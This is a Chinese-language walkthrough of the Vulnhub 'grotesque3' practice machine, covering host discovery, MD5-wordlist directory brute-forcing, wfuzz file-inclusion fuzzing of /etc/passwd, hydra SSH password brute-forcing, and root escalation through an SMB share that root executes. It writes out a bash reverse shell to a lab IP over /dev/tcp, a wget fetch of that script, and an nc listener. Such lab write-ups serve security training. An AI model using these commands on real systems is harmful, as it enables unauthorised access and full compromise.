Vulnhub实战-grotesque3靶机👻

靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/

1.靶机描述

Vulnhub实战-grotesque3靶机👻-LMLPHP

2.主机探测,端口扫描

  1. 我们在vmware中成功导入靶机之后,在kali中进行主机探测

nmap -sn 192.168.33.0/24

Vulnhub实战-grotesque3靶机👻-LMLPHP

得到主机IP,接下来进行端口扫描

nmap -sS -p- -v 192.168.33.230

Vulnhub实战-grotesque3靶机👻-LMLPHP

我们发现开启了80和22端口,这里说明可以进行ssh爆破,但是没有线索胡乱爆破太费时间了,所以先去看看80端口web服务有什么吧。

3.web测试

  1. 访问IP地址得到如下页面

Vulnhub实战-grotesque3靶机👻-LMLPHP

我们看看源代码发现有一个图片,然后就啥也没了。点进去看看,我还以为是图片隐写呢,害得我一顿binwalk,foremost,stepgeek进行图片破解都无果,我在这里替大家把坑都走了。最后看了大佬的博客才发现图片里面有一个mdXXXXX,这居然代表着md5,沃日我人傻了😱

Vulnhub实战-grotesque3靶机👻-LMLPHP

然后接下来居然是从文件名入手,我也不知道咋想的啥脑洞呀。我丢!👻意思是文件名是经过md5加密的。接下来我们先生成一个md5的文件名表。就用的kali自带的字典/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt。

执行以下命令将这个字典转换成md5的字典
for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> 2.txt; done

接下来我们home目录下面就有了一个2.txt,里面都是经过md5加密的文件名,这个2.txt一开始后面都会有两个空格和一个短杠,这个是要去掉的。给它们替换成空就行了。

Vulnhub实战-grotesque3靶机👻-LMLPHP

然后通过kali自带的工具dirbuster进行文件名遍历,在终端输入dirbuster就可以开启这个工具了。然后我们输入地址,导入字典直接开启了,最后就遍历出了一个php文件。

Vulnhub实战-grotesque3靶机👻-LMLPHP

Vulnhub实战-grotesque3靶机👻-LMLPHP

我们访问这个php文件返回为空,接下来就行进行参数爆破了

Vulnhub实战-grotesque3靶机👻-LMLPHP

通过kali自带的wfuzz工具进行http参数爆破,最后爆破出了一个参数purpose

wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 0 --hc 404,403 -u "http://192.168.33.230/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd" -t 60

Vulnhub实战-grotesque3靶机👻-LMLPHP

我们访问这个页面发现了用户名freddie,接下来就是用hydra进行ssh爆破密码啦,密码我们就用刚刚md5加密的词表去爆破吧,我也不知道作者咋想的,我估计这个writeup如果不是作者写的话,神仙也做不出来吧。😂

执行以下命令:

hydra -l freddie -P /home/2.txt ssh://192.168.33.230 -t 60

Vulnhub实战-grotesque3靶机👻-LMLPHP

接下来我们登录ssh:

ssh [email protected]

4.提权

我们发现当前用户是freddie,接下来我们就是想办法提升到root权限。

  1. 我们看看能不能执行什么系统命令,发现并没有 命令:sudo -l
  2. 我们再看看也没有什么suid权限的文件,发现也没有 命令:find / -perm -u=s -type f 2>/dev/null

接下来我们执行ss -tulpn发现开启了445端口,证明有smb服务在运行

Vulnhub实战-grotesque3靶机👻-LMLPHP

接下来我们看看后台进程吧,发现有一个进程在执行,就是root用户在执行一个命令/bin/sh -c bash /smbshare/*
说明root用户在用bash这个命令去执行smbshare文件夹下面的sh文件,这个时候我们就可以传一个sh的反弹shell到smb共享文件夹下面,因为后台开启了这个进程它会自动执行这个文件夹下面的sh脚本,可能一分钟执行一次,大家传上去之后可以等等看kali过一会应该就能连上shell。

Vulnhub实战-grotesque3靶机👻-LMLPHP

我们进到/tmp文件夹,然后进入smb共享文件夹(进入smb是不需要输入密码的,直接回车就行了。):

通过这个遍历出smb的文件名,我们发现有三个文件,依次尝试发现第二个是能够进去的。

smbclient -L 127.0.0.1

Vulnhub实战-grotesque3靶机👻-LMLPHP

然后进入smb:

smbclient //127.0.0.1/grotesque

在这里我们是可以下载靶机的/tmp目录下面的文件进来的,通过put命令,接下来我们下载一个sh的反弹shell进来就可以了。

Vulnhub实战-grotesque3靶机👻-LMLPHP

shell文件:

#!/bin/bash
sh -i >& /dev/tcp/192.168.33.213/10086 0>&1

我们的kali创建这个shell文件之后,通过python开启一个http服务:python3 -m http.server 9000,然后我们靶机的shell去下载这个文件

kali:
python -m http.server 9000
//这个命令在哪个目录执行的,这个目录就是跟目录

靶机:
wget http://kali的ip:9000/shell.sh

kali监听端口,我的是10086:
nc -lnvp 10086

smb:
put shell.sh

Vulnhub实战-grotesque3靶机👻-LMLPHP

最后我们就获取到root权限了,我估计后台那个进程应该是过多久执行一次,所以如果你把脚本下载进去没有立马反弹shell,你可以等等看,一分钟左右应该就会弹shell了。


Vulnhub实战-grotesque3靶机👻-LMLPHP

10-22 07:08